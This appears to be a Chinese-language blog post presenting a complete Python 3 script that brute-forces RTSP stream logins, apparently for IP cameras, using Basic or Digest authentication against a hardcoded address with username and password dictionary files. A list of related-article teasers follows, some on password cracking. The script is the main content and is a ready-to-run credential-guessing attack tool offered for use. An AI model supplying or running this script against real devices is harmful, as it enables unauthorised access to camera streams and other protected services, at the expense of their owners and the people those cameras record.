python3爆力破解rtsp脚本
一、说明
hydra是说已实现了rtsp的爆力破解,但是使用时发现字典中明明已包含正确的用户名密码hydra却还没检测出来;
拦截数据包查看,感觉hydra只是尝试去匿名访问,并没有发送用户名密码去验证,所以自己写了个脚本。
二、脚本代码
rtsp有Basic和Digest两种验证方式,这里默认使用‘Basic’,如果想用‘Digest’方式将代码中的config_dict['brute_force_method']修改为‘Digest’
注意得自己在脚本的同目录下,放好“username.txt”(一行为一个用户名的形式)和"password.txt"(一行为一个密码的形式)两个字典文件
import socket
import hashlib
import base64 #define variables we need
global config_dict
config_dict = {
"server_ip": "10.10.6.94",
"server_port": 554,
"server_path": "/chID=8&streamType=main",
"user_agent": "RTSP Client",
"buffer_len": 1024,
"username_file": "username.txt",
"password_file": "password.txt",
"brute_force_method": 'Basic'
} def gen_base_method_header(auth_64):
global config_dict
#build the prefix of msg to send
str_base_method_header = 'DESCRIBE rtsp://'+config_dict["server_ip"]+':'+str(config_dict["server_port"])+config_dict["server_path"] + ' RTSP/1.0\r\n'
str_base_method_header += 'CSeq: 4\r\n'
str_base_method_header += 'User-Agent: '+config_dict["user_agent"]+'\r\n'
str_base_method_header += 'Accept: application/sdp\r\n'
str_base_method_header += 'Authorization: Basic '+auth_64 + ' \r\n'
str_base_method_header += '\r\n'
return str_base_method_header def base_method_brute_force(socket_send,username,password):
global config_dict
# use base64 to encode username and password
auth_64 = base64.b64encode((username + ":" + password).encode("utf-8")).decode()
# try to auth server
str_base_method_header = gen_base_method_header(auth_64)
socket_send.send(str_base_method_header.encode())
msg_recv = socket_send.recv(config_dict["buffer_len"]).decode()
# if the server response '200 OK' It means the username and password pair is right
if '200 OK' in msg_recv:
print("found key -- " + username + ":" + password) def gen_digest_describe_header():
global config_dict
str_digest_describe_header = 'DESCRIBE rtsp://'+config_dict["server_ip"]+':'+str(config_dict["server_port"])+config_dict["server_path"] + ' RTSP/1.0\r\n'
str_digest_describe_header += 'CSeq: 4\r\n'
str_digest_describe_header += 'User-Agent: '+config_dict["user_agent"]+'\r\n'
str_digest_describe_header += 'Accept: application/sdp\r\n'
str_digest_describe_header += '\r\n'
return str_digest_describe_header def gen_response_value(url,username,password,realm,nonce):
global config_dict
frist_pre_md5_value = hashlib.md5((username + ':' + realm + ':' + password).encode()).hexdigest()
first_post_md5_value = hashlib.md5(('DESCRIBE:' + url).encode()).hexdigest()
response_value = hashlib.md5((frist_pre_md5_value + ':' + nonce + ':' + first_post_md5_value).encode()).hexdigest()
return response_value def gen_digest_describe_auth_header(username,password,realm_value,nonce_value):
global config_dict
url = 'rtsp://' + config_dict['server_ip'] + ':' + str(config_dict['server_port']) + config_dict['server_path']
response_value = gen_response_value(url, username, password,realm_value, nonce_value)
str_describe_auth_header = 'DESCRIBE rtsp://' + config_dict['server_ip'] + ':' + str(config_dict['server_port']) + \
config_dict['server_path'] + ' RTSP/1.0\r\n'
str_describe_auth_header += 'CSeq: 5\r\n'
str_describe_auth_header += 'Authorization: Digest username="' + username + '", realm="' + realm_value + '", nonce="' + nonce_value + '", uri="' + url + '", response="' + response_value + '"\r\n'
str_describe_auth_header += 'User-Agent: ' + config_dict['user_agent'] + '\r\n'
str_describe_auth_header += 'Accept: application/sdp\r\n'
str_describe_auth_header += '\r\n'
return str_describe_auth_header def digest_method_brute_force(socket_send,username,password,realm_value,nonce_value):
global config_dict
str_digest_describe_auth_header = gen_digest_describe_auth_header(username,password,realm_value,nonce_value)
socket_send.send(str_digest_describe_auth_header.encode())
msg_recv = socket_send.recv(config_dict['buffer_len']).decode()
if '200 OK' in msg_recv:
print("found key -- " + username + ":" + password) #create socket to server
socket_send = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket_send.connect((config_dict["server_ip"],config_dict["server_port"])) #decide use what method to brute force
if config_dict['brute_force_method'] == 'Basic':
print('now use basic method to brute force')
with open(config_dict["username_file"],"r") as usernames:
for username in usernames:
username = username.strip("\n")
with open(config_dict["password_file"],"r") as passwords:
for password in passwords:
password = password.strip("\n")
base_method_brute_force(socket_send, username, password)
else:
print('now use digest method to brute force')
with open(config_dict["username_file"], "r") as usernames:
for username in usernames:
username = username.strip("\n")
with open(config_dict["password_file"], "r") as passwords:
for password in passwords:
password = password.strip("\n")
str_digest_describe_header = gen_digest_describe_header()
socket_send.send(str_digest_describe_header.encode())
msg_recv = socket_send.recv(config_dict['buffer_len']).decode()
realm_pos = msg_recv.find('realm')
realm_value_begin_pos = msg_recv.find('"',realm_pos)+1
realm_value_end_pos = msg_recv.find('"',realm_pos+8)
realm_value = msg_recv[realm_value_begin_pos:realm_value_end_pos]
nonce_pos = msg_recv.find('nonce')
nonce_value_begin_pos = msg_recv.find('"',nonce_pos)+1
nonce_value_end_pos = msg_recv.find('"',nonce_pos+8)
nonce_value = msg_recv[nonce_value_begin_pos:nonce_value_end_pos]
digest_method_brute_force(socket_send, username, password,realm_value,nonce_value)
socket_send.close()
使用Basic方式,运行结果如下:

使用nonce方式,运行结果如下:

参考:
https://www.cnblogs.com/lidabo/p/6472982.html
https://www.cnblogs.com/MikeZhang/archive/2012/10/29/rtspTcpClient_DSS_20121029.html
python3爆力破解rtsp脚本的更多相关文章
- contos防爆力破解密码
最近看了一篇文章ssh的爆力破解所以自己就做了一下防爆力破解denyhost 下载denyhost的软件包并上传的服务器下载地址https://sourceforge.net/projects/den ...
- python 暴力破解密码脚本
python 暴力破解密码脚本 以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支 ...
- zip密码破解小脚本
zip密码破解小脚本 博主: 逍遥子 发布时间:2018 年 05 月 31 日 2745次浏览 1 条评论 1074字数 分类: kali 专栏 首页 正文 分享到: 文件源码 import ...
- python3实现的rtsp客户端脚本
一.说明 此客户端使用python3编写 此客户端实现RTSP的OPTIONS, DESCRIBE, SETUP , PLAY, GET_PARAMETER,TEARDOWN方法,未实现ANNOUNC ...
- ubuntu python3和python2切换脚本
最近在ubuntu上开发较多,有些工具只能在python2运行,而开发又是在python3上做的开发,所以写个脚本方便在python2和python3之间切换. 切换成python2的文件usepy2 ...
- 基于python3的手机号生成脚本
今天利用业余,自己突发想法来写个手机号码生成的脚本,其实自己用的方法很简单,想必肯定又不少人写的比我的好,我只是自己闲来无聊搞一下, #作者:雷子 #qq:952943386 #日期:2016年7月1 ...
- Python3设置在shell脚本中自动补全功能的方法
本篇博客将会简短的介绍,如何在ubuntu中设置python自动补全功能. 需求:由于python中的内建函数较多,我们在百纳乘时,可能记不清函数的名字,同时自动补全功能,加快了我们开发的效率. 方法 ...
- perl6 单线程破解phpmyadmin脚本
use HTTP::UserAgent; my $ua = HTTP::UserAgent.new; my $url = 'http://localhost/phpMyAdmin/index.php' ...
- Python3.5+selenium(11)脚本模块化&参数化
mail126.py脚本如下 from selenium import webdriver from time import sleep from model1 import Login driver ...
随机推荐
- 数据从mysql迁移至oracle时知识点记录(一)
最近在做数据的迁移,再将数据从mysql迁移至oracle时,部分sql语句进行了修改,在此对部分知识点进行记录: 参考资料:https://dev.mysql.com/doc/refman/5.5/ ...
- Codeforces Round #420 (Div. 2) E. Okabe and El Psy Kongroo 矩阵快速幂优化dp
E. Okabe and El Psy Kongroo time limit per test 2 seconds memory limit per test 256 megabytes input ...
- Linux CentOS 7 安装mongoDB(4.0.6)
在官网下载安装包: https://www.mongodb.com/download-center/community 或者通过wget下载 wget https://fastdl.mongodb.o ...
- nodejs项目安装ant design
1.确保安装好nodejs $ node --version v10.4.1 2.确保npm $ npm -v 6.1.0 3.安装 $ sudo npm install antd-init -g / ...
- L1-048. 矩阵A乘以B
水题不多说,直接上代码:#include<stdio.h> using namespace std; int main() { ][]; ][]; int m,n; int x,y; sc ...
- 力扣(LeetCode) 217. 存在重复元素
给定一个整数数组,判断是否存在重复元素. 如果任何值在数组中出现至少两次,函数返回 true.如果数组中每个元素都不相同,则返回 false. 示例 1: 输入: [1,2,3,1] 输出: true ...
- vuex深入理解 modules
一.什么是module? 背景:在Vue中State使用是单一状态树结构,应该的所有的状态都放在state里面,如果项目比较复杂,那state是一个很大的对象,store对象也将对变得非常大,难于管理 ...
- json文件不能有注释
之前一直忽视了这个问题,直接导致taiga-front的部署的时候不能通过其他IP访问. 如图: 首先是提示 app-loader.js:1 Your conf.json file is not a ...
- Java se基础(类的属性及关键字)
public:说明该类的访问类型是公有的,它生成的对象能被其他的对象调用! abstract:用来声明抽象类! final;如果一个类被声明成final类型,那么就不能再由它派生出子类. 可以简单的看 ...
- Pychram - 使用介绍
Pychram - 使用介绍 PyCharm中Directory与Python package的区别 对于Python而言,有一点是要认识明确的,python作为一个相对而言轻量级的,易用的脚本语言( ...